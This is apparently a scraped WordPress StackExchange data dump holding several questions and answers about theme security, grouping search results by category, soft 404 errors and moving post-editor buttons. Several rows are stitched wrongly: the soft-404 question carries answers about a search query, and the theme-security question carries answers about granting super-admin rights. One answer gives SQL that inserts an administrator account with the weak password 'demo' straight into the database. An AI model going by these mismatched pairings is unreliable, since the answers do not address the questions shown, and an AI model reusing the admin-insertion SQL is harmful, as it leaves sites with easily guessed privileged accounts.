INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_user_level', '10');
```
<http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/> |
255,665 | <p>I've recently started <a href="http://underscores.me/" rel="nofollow noreferrer">underscores</a> to make custom one off themes for clients because I like starting with a blank canvas. I see that lots of websites use custom themes which are generally named after the business they are made for, however I am concerned that using underscores as a one person team will leave my clients open to future security threats and it's also very time consuming. Is there something I'm missing here? How are small web design studios able to make one off custom themes and keep them secure?</p>
| [
{
"answer_id": 255596,
"author": "Vinnie James",
"author_id": 34762,
"author_profile": "https://wordpress.stackexchange.com/users/34762",
"pm_score": 2,
"selected": false,
"text": "<p>You might use grant_super_admin() </p>\n\n<p>To add an admin by user ID you can use grant_super_admin. Simple put grant_super_admin in your theme’s functions.php file (usually in /wp-content/themes/CURRENT THEME NAME/functions.php). You’ll need to put the ID of the user as a variable, the example below we’re using the user ID of 1.</p>\n\n<pre><code>grant_super_admin(1);\n</code></pre>\n\n<p><a href=\"https://drawne.com/add-super-admin-wordpress-network/\" rel=\"nofollow noreferrer\">https://drawne.com/add-super-admin-wordpress-network/</a></p>\n\n<p>Or Some variation of this should do the trick:</p>\n\n<pre><code>INSERT INTO `databasename`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('4', 'demo', MD5('demo'), 'Your Name', '[email protected]', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Your Name');\n\n\nINSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');\n\n\n\nINSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_user_level', '10');\n</code></pre>\n\n<p><a href=\"http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/\" rel=\"nofollow noreferrer\">http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/</a></p>\n"
},
{
"answer_id": 255600,
"author": "Arsalan Mithani",
"author_id": 111402,
"author_profile": "https://wordpress.stackexchange.com/users/111402",
"pm_score": 1,
"selected": false,
"text": "<p>Can you see this in user edit?</p>\n\n<p><a href=\"https://i.stack.imgur.com/wtimT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wtimT.png\" alt=\"enter image description here\"></a></p>\n"
},
{
"answer_id": 334321,
"author": "Ted Stresen-Reuter",
"author_id": 112766,
"author_profile": "https://wordpress.stackexchange.com/users/112766",
"pm_score": 2,
"selected": false,
"text": "<p>If you have access to the command line and can use <a href=\"https://wp-cli.org/\" rel=\"nofollow noreferrer\">wp-cli</a>, then you need to run two commands (assuming your site ID is 1):</p>\n\n<p><code>wp network meta get 1 site_admins</code></p>\n\n<p>This will return an array of all the site admins. Here is a sample array:</p>\n\n<pre><code>array (\n 0 => 'user',\n 1 => 'tedmasterweb',\n 2 => 'fredflintston',\n 3 => 'jcollins',\n)\n</code></pre>\n\n<p>You then need to execute the following command setting the key as <strong>4</strong> (one more than the highest number in the array above), e.g.:</p>\n\n<p><code>wp network meta patch insert 1 site_admins 4 myusername</code></p>\n\n<p>You might then need to log out and log back in to see the change.</p>\n\n<p><strong>Related documentation</strong></p>\n\n<p><a href=\"https://developer.wordpress.org/cli/commands/network/meta/update/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/cli/commands/network/meta/update/</a></p>\n"
}
]
| 2017/02/08 | [
"https://wordpress.stackexchange.com/questions/255665",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112328/"
]
| I've recently started [underscores](http://underscores.me/) to make custom one off themes for clients because I like starting with a blank canvas. I see that lots of websites use custom themes which are generally named after the business they are made for, however I am concerned that using underscores as a one person team will leave my clients open to future security threats and it's also very time consuming. Is there something I'm missing here? How are small web design studios able to make one off custom themes and keep them secure? | You might use grant\_super\_admin()
To add an admin by user ID you can use grant\_super\_admin. Simple put grant\_super\_admin in your theme’s functions.php file (usually in /wp-content/themes/CURRENT THEME NAME/functions.php). You’ll need to put the ID of the user as a variable, the example below we’re using the user ID of 1.
```
grant_super_admin(1);
```
<https://drawne.com/add-super-admin-wordpress-network/>
Or Some variation of this should do the trick:
```
INSERT INTO `databasename`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('4', 'demo', MD5('demo'), 'Your Name', '[email protected]', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Your Name');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_user_level', '10');
```
<http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/> |
255,691 | <p>For a client I need to group results on the search results page by category. In this case it would <em>not</em> be posts, but <strong>pages</strong> that have inherited categories form posts with the <a href="https://nl.wordpress.org/plugins/add-tags-and-category-to-page/" rel="nofollow noreferrer">Add Tags And Category To Page And Post Types</a> plugin.</p>
<p>This is the non-edited search results page template:</p>
<pre><code> <div id="content">
<div id="inner-content" class="wrap cf">
<main id="main" class="m-all t-2of3 d-5of7 cf" role="main">
<h1 class="archive-title"><span><?php _e( 'Search Results for:', 'bonestheme' ); ?></span> <?php echo esc_attr(get_search_query()); ?></h1>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article id="post-<?php the_ID(); ?>" <?php post_class('cf'); ?> role="article">
<header class="entry-header article-header">
<h3 class="search-title entry-title"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a></h3>
<p class="byline entry-meta vcard">
<?php printf( __( 'Posted %1$s by %2$s', 'bonestheme' ),
/* the time the post was published */
'<time class="updated entry-time" datetime="' . get_the_time('Y-m-d') . '" itemprop="datePublished">' . get_the_time(get_option('date_format')) . '</time>',
/* the author of the post */
'<span class="by">by</span> <span class="entry-author author" itemprop="author" itemscope itemptype="http://schema.org/Person">' . get_the_author_link( get_the_author_meta( 'ID' ) ) . '</span>'
); ?>
</p>
</header>
<section class="entry-content">
<?php the_excerpt( '<span class="read-more">' . __( 'Read more &raquo;', 'bonestheme' ) . '</span>' ); ?>
</section>
<footer class="article-footer">
<?php if(get_the_category_list(', ') != ''): ?>
<?php printf( __( 'Filed under: %1$s', 'bonestheme' ), get_the_category_list(', ') ); ?>
<?php endif; ?>
<?php the_tags( '<p class="tags"><span class="tags-title">' . __( 'Tags:', 'bonestheme' ) . '</span> ', ', ', '</p>' ); ?>
</footer> <!-- end article footer -->
</article>
<?php endwhile; ?>
<?php boilerplate_page_navi(); ?>
<?php else : ?>
<article id="post-not-found" class="hentry cf">
<header class="article-header">
<h1><?php _e( 'Sorry, No Results.', 'bonestheme' ); ?></h1>
</header>
<section class="entry-content">
<p><?php _e( 'Try your search again.', 'bonestheme' ); ?></p>
</section>
<footer class="article-footer">
<p><?php _e( 'This is the error message in the search.php template.', 'bonestheme' ); ?></p>
</footer>
</article>
<?php endif; ?>
</main>
<?php get_sidebar(); ?>
</div>
</div>
</code></pre>
<p>And this is how I got so far with a little help:</p>
<pre><code><div id="content">
<div id="inner-content" class="wrap cf">
<main id="main" class="m-all t-2of3 d-5of7 cf" role="main">
<h1 class="archive-title"><span><?php _e( 'Search Results for:', 'boilerplate' ); ?></span> <?php echo esc_attr(get_search_query()); ?></h1>
<?php
$list_per_category = [];
$search_filters = array(
'post_type' => 'page' // Doorzoekt alle post types
);
$search_result = new WP_Query( $search_filters );
//var_dump($search_result);
if ($search_result->have_posts()) : while ($search_result->have_posts()) : $search_result->the_post();
//Genereer de html voor het zoekresultaat van de post, en bewaar deze in een buffer
ob_start(); ?>
<article>
<?php // create our link now that the post is setup ?>
<h4 class="search-title entry-title"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a></h4>
<?php the_excerpt( '<span class="read-more">' . __( 'Read more &raquo;', 'boilerplate' ) . '</span>' ); ?>
</article>
<?php
$post_html = ob_get_clean();
//Loop de hoofdcategorieen van de post door en maak hier een overkoepelende structuur voor aan die we kunnen gebruiken voor de lijstweergave van het zoekresultaat.
$post_categories = get_the_category();
foreach ($post_categories as $post_category) :
if($post_category->parent == 0):
if (!isset($list_per_category[$post_category->term_id])):
$list_per_category[$post_category->term_id]['category'] = $post_category;
$list_per_category[$post_category->term_id]['posts'] = [];
endif;
$list_per_category[$post_category->term_id]['posts'][] = $post_html;
endif;
endforeach;
endwhile;
//Doorloop de gemaakte structuur van posts per category en toon deze
foreach ($list_per_category as $list_item) :
echo '<div class="category' . $list_item['category']->slug . '">
<h2>' . $list_item['category']->name . '</h2>';
foreach ($list_item['posts'] as $post_html) :
echo $post_html;
endforeach;
echo '</div>';
endforeach;
else : ?>
<article id="post-not-found" class="hentry cf">
<header class="article-header">
<h1><?php _e( 'Sorry, No Results.', 'bonestheme' ); ?></h1>
</header>
<section class="entry-content">
<p><?php _e( 'Try your search again.', 'bonestheme' ); ?></p>
</section>
<footer class="article-footer">
<p><?php _e( 'This is the error message in the search.php template.', 'bonestheme' ); ?></p>
</footer>
</article>
<?php endif; ?>
</main>
<?php get_sidebar(); ?>
</div>
</code></pre>
<p></p>
<p>The problem here is that all pages are being listed that have a category, not just the search results that have a category. It looks like the loop is missing some kind of search-query parameter. I would like to know how I can improve the page template so it shows the search results by category. Maybe there is a much easier way than what I posted above?</p>
<p>Thanks in advance!</p>
| [
{
"answer_id": 255694,
"author": "Industrial Themes",
"author_id": 274,
"author_profile": "https://wordpress.stackexchange.com/users/274",
"pm_score": 1,
"selected": false,
"text": "<p>Add in the <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query#Search_Parameter\" rel=\"nofollow noreferrer\">search parameter</a> to your query:</p>\n\n<pre><code>$search_filters = array(\n 'post_type' => 'page', // Doorzoekt alle post types\n 's' => $keyword // show only posts that meet the current search query\n);\n</code></pre>\n\n<p>And above that you should just be able to grab the keyword right from your querystring like so:</p>\n\n<pre><code>$keyword = $_GET['s'];\n</code></pre>\n\n<p>There's also a WordPress <a href=\"https://codex.wordpress.org/Template_Tags/get_search_query\" rel=\"nofollow noreferrer\">native function</a> that grabs your current search query which might be better to use than grabbing it manually from the querystring:</p>\n\n<pre><code>$keyword = get_search_query();\n</code></pre>\n"
},
{
"answer_id": 256450,
"author": "Justin Picard",
"author_id": 75046,
"author_profile": "https://wordpress.stackexchange.com/users/75046",
"pm_score": 0,
"selected": false,
"text": "<p>Unfortunately it does not solve my problem yet. When I search for something that I am sure of is on the site, I simply get nothing. When there are no search results, the 'No results' message shows up as expected. </p>\n\n<p>I just can't imagine that I am the only one with this question, but there is so little to find about it.</p>\n\n<p>This is my code now:\n`</p>\n\n<pre><code> <div id=\"inner-content\" class=\"wrap cf\">\n\n <main id=\"main\" class=\"m-all t-2of3 d-5of7 cf\" role=\"main\">\n <h1 class=\"archive-title\"><span><?php _e( 'Search Results for:', 'boilerplate' ); ?></span> <?php echo esc_attr(get_search_query()); ?></h1>\n\n <?php\n $keyword = $_GET['s'];\n $list_per_category = [];\n\n $search_filters = array(\n 'post_type' => 'page', // Doorzoekt alle post types\n 's' => $keyword // show only posts that meet the current search query\n );\n\n $search_result = new WP_Query( $search_filters );\n\n //var_dump($search_result);\n ?>\n\n <?php if ($search_result->have_posts()) : while ($search_result->have_posts()) : $search_result->the_post();\n\n //Genereer de html voor het zoekresultaat van de post, en bewaar deze in een buffer\n ob_start(); ?>\n\n <article>\n\n <?php // create our link now that the post is setup ?>\n <h4 class=\"search-title entry-title\"><a href=\"<?php the_permalink() ?>\" rel=\"bookmark\" title=\"<?php the_title_attribute(); ?>\"><?php the_title(); ?></a></h4>\n\n <?php the_excerpt( '<span class=\"read-more\">' . __( 'Read more &raquo;', 'boilerplate' ) . '</span>' ); ?>\n </article>\n <?php\n\n $post_html = ob_get_clean();\n\n //Loop de hoofdcategorieen van de post door en maak hier een overkoepelende structuur voor aan die we kunnen gebruiken voor de lijstweergave van het zoekresultaat.\n $post_categories = get_the_category();\n\n foreach ($post_categories as $post_category) :\n\n if($post_category->parent == 0):\n\n if (!isset($list_per_category[$post_category->term_id])):\n $list_per_category[$post_category->term_id]['category'] = $post_category;\n $list_per_category[$post_category->term_id]['posts'] = [];\n endif;\n\n $list_per_category[$post_category->term_id]['posts'][] = $post_html;\n\n endif;\n\n endforeach;\n\n endwhile; \n\n //Doorloop de gemaakte structuur van posts per category en toon deze\n foreach ($list_per_category as $list_item) :\n\n echo '<div class=\"category' . $list_item['category']->slug . '\">\n <h2>' . $list_item['category']->name . '</h2>';\n\n foreach ($list_item['posts'] as $post_html) :\n echo $post_html;\n endforeach;\n\n echo '</div>';\n\n endforeach;\n\n else : ?>\n\n <article id=\"post-not-found\" class=\"hentry cf\">\n <header class=\"article-header\">\n <h1><?php _e( 'Sorry, No Results.', 'boilerplate' ); ?></h1>\n </header>\n <section class=\"entry-content\">\n <p><?php _e( 'Try your search again.', 'boilerplate' ); ?></p>\n </section>\n <footer class=\"article-footer\">\n <p><?php _e( 'This is the error message in the search.php template.', 'boilerplate' ); ?></p>\n </footer>\n </article>\n\n <?php endif; ?>\n\n </main>\n\n <?php get_sidebar(); ?>\n\n </div>\n\n</div>\n</code></pre>\n"
}
]
| 2017/02/08 | [
"https://wordpress.stackexchange.com/questions/255691",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/75046/"
]
| For a client I need to group results on the search results page by category. In this case it would *not* be posts, but **pages** that have inherited categories form posts with the [Add Tags And Category To Page And Post Types](https://nl.wordpress.org/plugins/add-tags-and-category-to-page/) plugin.
This is the non-edited search results page template:
```
<div id="content">
<div id="inner-content" class="wrap cf">
<main id="main" class="m-all t-2of3 d-5of7 cf" role="main">
<h1 class="archive-title"><span><?php _e( 'Search Results for:', 'bonestheme' ); ?></span> <?php echo esc_attr(get_search_query()); ?></h1>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article id="post-<?php the_ID(); ?>" <?php post_class('cf'); ?> role="article">
<header class="entry-header article-header">
<h3 class="search-title entry-title"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a></h3>
<p class="byline entry-meta vcard">
<?php printf( __( 'Posted %1$s by %2$s', 'bonestheme' ),
/* the time the post was published */
'<time class="updated entry-time" datetime="' . get_the_time('Y-m-d') . '" itemprop="datePublished">' . get_the_time(get_option('date_format')) . '</time>',
/* the author of the post */
'<span class="by">by</span> <span class="entry-author author" itemprop="author" itemscope itemptype="http://schema.org/Person">' . get_the_author_link( get_the_author_meta( 'ID' ) ) . '</span>'
); ?>
</p>
</header>
<section class="entry-content">
<?php the_excerpt( '<span class="read-more">' . __( 'Read more »', 'bonestheme' ) . '</span>' ); ?>
</section>
<footer class="article-footer">
<?php if(get_the_category_list(', ') != ''): ?>
<?php printf( __( 'Filed under: %1$s', 'bonestheme' ), get_the_category_list(', ') ); ?>
<?php endif; ?>
<?php the_tags( '<p class="tags"><span class="tags-title">' . __( 'Tags:', 'bonestheme' ) . '</span> ', ', ', '</p>' ); ?>
</footer> <!-- end article footer -->
</article>
<?php endwhile; ?>
<?php boilerplate_page_navi(); ?>
<?php else : ?>
<article id="post-not-found" class="hentry cf">
<header class="article-header">
<h1><?php _e( 'Sorry, No Results.', 'bonestheme' ); ?></h1>
</header>
<section class="entry-content">
<p><?php _e( 'Try your search again.', 'bonestheme' ); ?></p>
</section>
<footer class="article-footer">
<p><?php _e( 'This is the error message in the search.php template.', 'bonestheme' ); ?></p>
</footer>
</article>
<?php endif; ?>
</main>
<?php get_sidebar(); ?>
</div>
</div>
```
And this is how I got so far with a little help:
```
<div id="content">
<div id="inner-content" class="wrap cf">
<main id="main" class="m-all t-2of3 d-5of7 cf" role="main">
<h1 class="archive-title"><span><?php _e( 'Search Results for:', 'boilerplate' ); ?></span> <?php echo esc_attr(get_search_query()); ?></h1>
<?php
$list_per_category = [];
$search_filters = array(
'post_type' => 'page' // Doorzoekt alle post types
);
$search_result = new WP_Query( $search_filters );
//var_dump($search_result);
if ($search_result->have_posts()) : while ($search_result->have_posts()) : $search_result->the_post();
//Genereer de html voor het zoekresultaat van de post, en bewaar deze in een buffer
ob_start(); ?>
<article>
<?php // create our link now that the post is setup ?>
<h4 class="search-title entry-title"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a></h4>
<?php the_excerpt( '<span class="read-more">' . __( 'Read more »', 'boilerplate' ) . '</span>' ); ?>
</article>
<?php
$post_html = ob_get_clean();
//Loop de hoofdcategorieen van de post door en maak hier een overkoepelende structuur voor aan die we kunnen gebruiken voor de lijstweergave van het zoekresultaat.
$post_categories = get_the_category();
foreach ($post_categories as $post_category) :
if($post_category->parent == 0):
if (!isset($list_per_category[$post_category->term_id])):
$list_per_category[$post_category->term_id]['category'] = $post_category;
$list_per_category[$post_category->term_id]['posts'] = [];
endif;
$list_per_category[$post_category->term_id]['posts'][] = $post_html;
endif;
endforeach;
endwhile;
//Doorloop de gemaakte structuur van posts per category en toon deze
foreach ($list_per_category as $list_item) :
echo '<div class="category' . $list_item['category']->slug . '">
<h2>' . $list_item['category']->name . '</h2>';
foreach ($list_item['posts'] as $post_html) :
echo $post_html;
endforeach;
echo '</div>';
endforeach;
else : ?>
<article id="post-not-found" class="hentry cf">
<header class="article-header">
<h1><?php _e( 'Sorry, No Results.', 'bonestheme' ); ?></h1>
</header>
<section class="entry-content">
<p><?php _e( 'Try your search again.', 'bonestheme' ); ?></p>
</section>
<footer class="article-footer">
<p><?php _e( 'This is the error message in the search.php template.', 'bonestheme' ); ?></p>
</footer>
</article>
<?php endif; ?>
</main>
<?php get_sidebar(); ?>
</div>
```
The problem here is that all pages are being listed that have a category, not just the search results that have a category. It looks like the loop is missing some kind of search-query parameter. I would like to know how I can improve the page template so it shows the search results by category. Maybe there is a much easier way than what I posted above?
Thanks in advance! | Add in the [search parameter](https://codex.wordpress.org/Class_Reference/WP_Query#Search_Parameter) to your query:
```
$search_filters = array(
'post_type' => 'page', // Doorzoekt alle post types
's' => $keyword // show only posts that meet the current search query
);
```
And above that you should just be able to grab the keyword right from your querystring like so:
```
$keyword = $_GET['s'];
```
There's also a WordPress [native function](https://codex.wordpress.org/Template_Tags/get_search_query) that grabs your current search query which might be better to use than grabbing it manually from the querystring:
```
$keyword = get_search_query();
``` |
255,722 | <p>I have recently been notified by Google Webmaster tools that there has been an increase in soft 404 pages. This is due to no results being returned by pre-defined links to search queries that are intended to filter through custom post types that have predefined tags.</p>
<p>What would be the best way to prevent a 'soft 404', and satisfy Googles detection settings?</p>
| [
{
"answer_id": 255694,
"author": "Industrial Themes",
"author_id": 274,
"author_profile": "https://wordpress.stackexchange.com/users/274",
"pm_score": 1,
"selected": false,
"text": "<p>Add in the <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query#Search_Parameter\" rel=\"nofollow noreferrer\">search parameter</a> to your query:</p>\n\n<pre><code>$search_filters = array(\n 'post_type' => 'page', // Doorzoekt alle post types\n 's' => $keyword // show only posts that meet the current search query\n);\n</code></pre>\n\n<p>And above that you should just be able to grab the keyword right from your querystring like so:</p>\n\n<pre><code>$keyword = $_GET['s'];\n</code></pre>\n\n<p>There's also a WordPress <a href=\"https://codex.wordpress.org/Template_Tags/get_search_query\" rel=\"nofollow noreferrer\">native function</a> that grabs your current search query which might be better to use than grabbing it manually from the querystring:</p>\n\n<pre><code>$keyword = get_search_query();\n</code></pre>\n"
},
{
"answer_id": 256450,
"author": "Justin Picard",
"author_id": 75046,
"author_profile": "https://wordpress.stackexchange.com/users/75046",
"pm_score": 0,
"selected": false,
"text": "<p>Unfortunately it does not solve my problem yet. When I search for something that I am sure of is on the site, I simply get nothing. When there are no search results, the 'No results' message shows up as expected. </p>\n\n<p>I just can't imagine that I am the only one with this question, but there is so little to find about it.</p>\n\n<p>This is my code now:\n`</p>\n\n<pre><code> <div id=\"inner-content\" class=\"wrap cf\">\n\n <main id=\"main\" class=\"m-all t-2of3 d-5of7 cf\" role=\"main\">\n <h1 class=\"archive-title\"><span><?php _e( 'Search Results for:', 'boilerplate' ); ?></span> <?php echo esc_attr(get_search_query()); ?></h1>\n\n <?php\n $keyword = $_GET['s'];\n $list_per_category = [];\n\n $search_filters = array(\n 'post_type' => 'page', // Doorzoekt alle post types\n 's' => $keyword // show only posts that meet the current search query\n );\n\n $search_result = new WP_Query( $search_filters );\n\n //var_dump($search_result);\n ?>\n\n <?php if ($search_result->have_posts()) : while ($search_result->have_posts()) : $search_result->the_post();\n\n //Genereer de html voor het zoekresultaat van de post, en bewaar deze in een buffer\n ob_start(); ?>\n\n <article>\n\n <?php // create our link now that the post is setup ?>\n <h4 class=\"search-title entry-title\"><a href=\"<?php the_permalink() ?>\" rel=\"bookmark\" title=\"<?php the_title_attribute(); ?>\"><?php the_title(); ?></a></h4>\n\n <?php the_excerpt( '<span class=\"read-more\">' . __( 'Read more &raquo;', 'boilerplate' ) . '</span>' ); ?>\n </article>\n <?php\n\n $post_html = ob_get_clean();\n\n //Loop de hoofdcategorieen van de post door en maak hier een overkoepelende structuur voor aan die we kunnen gebruiken voor de lijstweergave van het zoekresultaat.\n $post_categories = get_the_category();\n\n foreach ($post_categories as $post_category) :\n\n if($post_category->parent == 0):\n\n if (!isset($list_per_category[$post_category->term_id])):\n $list_per_category[$post_category->term_id]['category'] = $post_category;\n $list_per_category[$post_category->term_id]['posts'] = [];\n endif;\n\n $list_per_category[$post_category->term_id]['posts'][] = $post_html;\n\n endif;\n\n endforeach;\n\n endwhile; \n\n //Doorloop de gemaakte structuur van posts per category en toon deze\n foreach ($list_per_category as $list_item) :\n\n echo '<div class=\"category' . $list_item['category']->slug . '\">\n <h2>' . $list_item['category']->name . '</h2>';\n\n foreach ($list_item['posts'] as $post_html) :\n echo $post_html;\n endforeach;\n\n echo '</div>';\n\n endforeach;\n\n else : ?>\n\n <article id=\"post-not-found\" class=\"hentry cf\">\n <header class=\"article-header\">\n <h1><?php _e( 'Sorry, No Results.', 'boilerplate' ); ?></h1>\n </header>\n <section class=\"entry-content\">\n <p><?php _e( 'Try your search again.', 'boilerplate' ); ?></p>\n </section>\n <footer class=\"article-footer\">\n <p><?php _e( 'This is the error message in the search.php template.', 'boilerplate' ); ?></p>\n </footer>\n </article>\n\n <?php endif; ?>\n\n </main>\n\n <?php get_sidebar(); ?>\n\n </div>\n\n</div>\n</code></pre>\n"
}
]
| 2017/02/08 | [
"https://wordpress.stackexchange.com/questions/255722",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112876/"
]
| I have recently been notified by Google Webmaster tools that there has been an increase in soft 404 pages. This is due to no results being returned by pre-defined links to search queries that are intended to filter through custom post types that have predefined tags.
What would be the best way to prevent a 'soft 404', and satisfy Googles detection settings? | Add in the [search parameter](https://codex.wordpress.org/Class_Reference/WP_Query#Search_Parameter) to your query:
```
$search_filters = array(
'post_type' => 'page', // Doorzoekt alle post types
's' => $keyword // show only posts that meet the current search query
);
```
And above that you should just be able to grab the keyword right from your querystring like so:
```
$keyword = $_GET['s'];
```
There's also a WordPress [native function](https://codex.wordpress.org/Template_Tags/get_search_query) that grabs your current search query which might be better to use than grabbing it manually from the querystring:
```
$keyword = get_search_query();
``` |
255,738 | <p>I'm trying to change the layout of the <strong>post-new.php</strong> page and as part of this I would like the publish, save draft and preview buttons below the form rather than to the right.</p>
<p>So in my plugin js file I'm using jQuery.append() to move them into a custom that sits below the main . I'm moving the divs: #save-action, #preview-action and #publishing-action.</p>
<p>This works fine layout-wise. However, now none of the buttons seem to perform their job. The publish button just appends some text to the url, the preview button just refreshes the page and the save draft button does nothing. I'm assuming I've broken something by moving them because all of my other styling works with their functionality. </p>
<p>Does wordpress reference the they are in or something like that to attach the actions to the buttons?</p>
<p>One fix would be to just call the relevant wp_*_() functions myself on the buttons but I can't seem to find them in the codex.</p>
<p>I guess another fix would be to move them while maintaining the structure of s that wordpress needs to keep the functionality intact.</p>
<p>I'm new to plugins in the backend so I'm probably doing something very wrong. I'd be grateful if someone could point me in the right direction. Or help me find the relevant wp_*_() functions to "re-attach" to the buttons.</p>
<p>Thank you for your time.</p>
| [
{
"answer_id": 255694,
"author": "Industrial Themes",
"author_id": 274,
"author_profile": "https://wordpress.stackexchange.com/users/274",
"pm_score": 1,
"selected": false,
"text": "<p>Add in the <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query#Search_Parameter\" rel=\"nofollow noreferrer\">search parameter</a> to your query:</p>\n\n<pre><code>$search_filters = array(\n 'post_type' => 'page', // Doorzoekt alle post types\n 's' => $keyword // show only posts that meet the current search query\n);\n</code></pre>\n\n<p>And above that you should just be able to grab the keyword right from your querystring like so:</p>\n\n<pre><code>$keyword = $_GET['s'];\n</code></pre>\n\n<p>There's also a WordPress <a href=\"https://codex.wordpress.org/Template_Tags/get_search_query\" rel=\"nofollow noreferrer\">native function</a> that grabs your current search query which might be better to use than grabbing it manually from the querystring:</p>\n\n<pre><code>$keyword = get_search_query();\n</code></pre>\n"
},
{
"answer_id": 256450,
"author": "Justin Picard",
"author_id": 75046,
"author_profile": "https://wordpress.stackexchange.com/users/75046",
"pm_score": 0,
"selected": false,
"text": "<p>Unfortunately it does not solve my problem yet. When I search for something that I am sure of is on the site, I simply get nothing. When there are no search results, the 'No results' message shows up as expected. </p>\n\n<p>I just can't imagine that I am the only one with this question, but there is so little to find about it.</p>\n\n<p>This is my code now:\n`</p>\n\n<pre><code> <div id=\"inner-content\" class=\"wrap cf\">\n\n <main id=\"main\" class=\"m-all t-2of3 d-5of7 cf\" role=\"main\">\n <h1 class=\"archive-title\"><span><?php _e( 'Search Results for:', 'boilerplate' ); ?></span> <?php echo esc_attr(get_search_query()); ?></h1>\n\n <?php\n $keyword = $_GET['s'];\n $list_per_category = [];\n\n $search_filters = array(\n 'post_type' => 'page', // Doorzoekt alle post types\n 's' => $keyword // show only posts that meet the current search query\n );\n\n $search_result = new WP_Query( $search_filters );\n\n //var_dump($search_result);\n ?>\n\n <?php if ($search_result->have_posts()) : while ($search_result->have_posts()) : $search_result->the_post();\n\n //Genereer de html voor het zoekresultaat van de post, en bewaar deze in een buffer\n ob_start(); ?>\n\n <article>\n\n <?php // create our link now that the post is setup ?>\n <h4 class=\"search-title entry-title\"><a href=\"<?php the_permalink() ?>\" rel=\"bookmark\" title=\"<?php the_title_attribute(); ?>\"><?php the_title(); ?></a></h4>\n\n <?php the_excerpt( '<span class=\"read-more\">' . __( 'Read more &raquo;', 'boilerplate' ) . '</span>' ); ?>\n </article>\n <?php\n\n $post_html = ob_get_clean();\n\n //Loop de hoofdcategorieen van de post door en maak hier een overkoepelende structuur voor aan die we kunnen gebruiken voor de lijstweergave van het zoekresultaat.\n $post_categories = get_the_category();\n\n foreach ($post_categories as $post_category) :\n\n if($post_category->parent == 0):\n\n if (!isset($list_per_category[$post_category->term_id])):\n $list_per_category[$post_category->term_id]['category'] = $post_category;\n $list_per_category[$post_category->term_id]['posts'] = [];\n endif;\n\n $list_per_category[$post_category->term_id]['posts'][] = $post_html;\n\n endif;\n\n endforeach;\n\n endwhile; \n\n //Doorloop de gemaakte structuur van posts per category en toon deze\n foreach ($list_per_category as $list_item) :\n\n echo '<div class=\"category' . $list_item['category']->slug . '\">\n <h2>' . $list_item['category']->name . '</h2>';\n\n foreach ($list_item['posts'] as $post_html) :\n echo $post_html;\n endforeach;\n\n echo '</div>';\n\n endforeach;\n\n else : ?>\n\n <article id=\"post-not-found\" class=\"hentry cf\">\n <header class=\"article-header\">\n <h1><?php _e( 'Sorry, No Results.', 'boilerplate' ); ?></h1>\n </header>\n <section class=\"entry-content\">\n <p><?php _e( 'Try your search again.', 'boilerplate' ); ?></p>\n </section>\n <footer class=\"article-footer\">\n <p><?php _e( 'This is the error message in the search.php template.', 'boilerplate' ); ?></p>\n </footer>\n </article>\n\n <?php endif; ?>\n\n </main>\n\n <?php get_sidebar(); ?>\n\n </div>\n\n</div>\n</code></pre>\n"
}
]
| 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255738",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112889/"
]
| I'm trying to change the layout of the **post-new.php** page and as part of this I would like the publish, save draft and preview buttons below the form rather than to the right.
So in my plugin js file I'm using jQuery.append() to move them into a custom that sits below the main . I'm moving the divs: #save-action, #preview-action and #publishing-action.
This works fine layout-wise. However, now none of the buttons seem to perform their job. The publish button just appends some text to the url, the preview button just refreshes the page and the save draft button does nothing. I'm assuming I've broken something by moving them because all of my other styling works with their functionality.
Does wordpress reference the they are in or something like that to attach the actions to the buttons?
One fix would be to just call the relevant wp\_\*\_() functions myself on the buttons but I can't seem to find them in the codex.
I guess another fix would be to move them while maintaining the structure of s that wordpress needs to keep the functionality intact.
